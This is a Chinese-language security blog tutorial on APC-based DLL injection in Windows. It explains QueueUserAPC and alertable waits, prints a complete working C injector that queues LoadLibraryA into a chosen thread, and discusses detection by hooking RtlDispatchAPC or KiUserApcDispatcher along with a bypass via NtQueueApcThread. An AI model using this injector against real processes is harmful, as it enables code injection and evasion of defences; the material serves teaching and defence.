DLL注入--APC注入

admin 2021年5月23日02:34:29评论147 views字数 3175阅读10分35秒阅读模式


之前有篇远程线程注入,这里介绍另一个使用广泛的注入方式--APC注入,但是有一个比较明显的缺点。由于APC是一个监听唤起的过程,若程序没有允许APC的执行则无法进行APC注入

APC (异步过程调用),主要用于堵塞情况下的主发式终止堵塞,从而激活堵塞的线程去执行其他任务,随后继续进入堵塞状态,由此提高工作效率。

可激活的堵塞函数

WaitForSingleObjectEx

WaitForMultipleObjectsEx

SignalObjectAndWait

SleepEx

MsgWaitForSingleObjectEx

MsgWaitForMultipleObjectsEx

最后一个参数都是bAlertable,代表着此函数是否是警示状态(可被APC唤醒)。一旦被APC激活会立即返回,返回值为WAIT_IO_COMPLETION 0x000000C0L

由此可以通过向目标进程添加APC例程执行LoadLibrary加载Dll进行注入。

投递APC的函数

WINBASEAPIDWORDWINAPIQueueUserAPC(    _In_ PAPCFUNC pfnAPC, //目标进程函数地址    _In_ HANDLE hThread,  //线程句柄    _In_ ULONG_PTR dwData //参数    );


WINBASEAPI

DWORD

WINAPI

QueueUserAPC(

    _In_ PAPCFUNC pfnAPC, //目标进程函数地址

    _In_ HANDLE hThread,  //线程句柄

    _In_ ULONG_PTR dwData //参数

    );

主要流程:

1. 打开线程对象

2. 打开线程对象的进程对象

3. 向目标进程分配一段可读可写内存

4. 写入DLL全路径

5. 调用QueueUserAPC 设置函数地址为LoadLibrary,参数为那段分配的内存

 

通过OpenThread获得线程句柄。QueueUserAPC函数需要THREAD_SET_CONTEXT权限。

HANDLE hThread = OpenThread(THREAD_QUERY_INFORMATION | THREAD_SET_CONTEXT, FALSE, dwThreadId);


HANDLE hThread = OpenThread(THREAD_QUERY_INFORMATION | THREAD_SET_CONTEXT, FALSE, dwThreadId);

 

GetProcessIdOfThread可获得线程所属进程ID

DWORD dwProcessId = GetProcessIdOfThread(hThread);


DWORD dwProcessId = GetProcessIdOfThread(hThread);

 

打开进程权限需要VM系列权限,因为需要分配、写内存等操作。

HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, dwProcessId);


HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, dwProcessId);

向目标线程投递APC例程

QueueUserAPC((PAPCFUNC)lpLoadLibrary, hThread, pRemoteAddr);


QueueUserAPC((PAPCFUNC)lpLoadLibrary, hThread, pRemoteAddr);

随后当对方线程调用可警示函数并且允许了APC后DLL将注入成功

DLL注入--APC注入


演示注入自身,随后通过调用SleepEx()进入可警示状态,注入成功。[完整代码见文章末尾]

 

对于通用性的QueueUserAPC DLL注入可以通过一种方法进行缓解

QueueUserAPC 逆向发现其是直接对NtQueueApcThread的调用,但是参数却移了位置。

ntdll_8作为了回调函数,而原先的回调函数却变成了ntdll_8函数的第一个参数。

DLL注入--APC注入


转到函数ntdll_8(编号8的函数)代码,发现其实际上还是将参数1作为函数进行调用。

DLL注入--APC注入


因此可以对RtlDispatchAPC进行hook检测第一个参数是否为LoadLibrary来阻止远程调用LoadLibrary来进行的DLL注入。

 

攻防无绝对,绕过方式也十分明显,我们可以直接调用NtQueueApcThread将回调函数指针参数直接设置为LoadLibrary进行DLL注入,此时APC将不会经过RtlDispatchAPC函数转而直接调用LoadLibrary函数。

 

但是所有的APC分发又有一个必经之路:KiUserApcDispatcher,此时下图rax里面存放的就是NtQueueApcThread参数中的回调函数,我们仍然可以通过Hook这个函数来阻止直接调用NtQueueApcThread进行的LoadLibrary

 

DLL注入--APC注入

DLL注入--APC注入

 

完整代码:

#include <stdio.h>#include <tchar.h>#include <Windows.h>#include <Psapi.h>
#define DLL_NAME "X:\xxxx\DllInject\x64\Debug\DllInject.dll" // DLL全路径
int main(){ DWORD dwThreadId; printf("Input target thread:"); scanf_s("%d", &dwThreadId);
HANDLE hThread = OpenThread(THREAD_QUERY_INFORMATION | THREAD_SET_CONTEXT, FALSE, dwThreadId); if (!hThread) { printf("无法打开线程n"); return 0; } DWORD dwProcessId = GetProcessIdOfThread(hThread); HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, dwProcessId); if (!hProcess) { printf("无法打开进程!n"); return 0; } PVOID pRemoteAddr = VirtualAllocEx(hProcess, NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE); if (!pRemoteAddr) { printf("无法分配内存!n"); return 0; } SIZE_T wrSize; if (!WriteProcessMemory(hProcess, pRemoteAddr, DLL_NAME, sizeof(DLL_NAME), &wrSize)) { printf("无法写入内存!n"); return 0; }
HMODULE hMod = LoadLibrary(_T("kernel32.dll")); if (!hMod) return 0;
PVOID lpLoadLibrary = GetProcAddress(hMod, "LoadLibraryA");
QueueUserAPC((PAPCFUNC)lpLoadLibrary, hThread, pRemoteAddr); SleepEx(1000, TRUE); return 0;}


本文始发于微信公众号(锋刃科技):DLL注入--APC注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月23日02:34:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DLL注入--APC注入https://cn-sec.com/archives/279039.html

发表评论

匿名网友 填写信息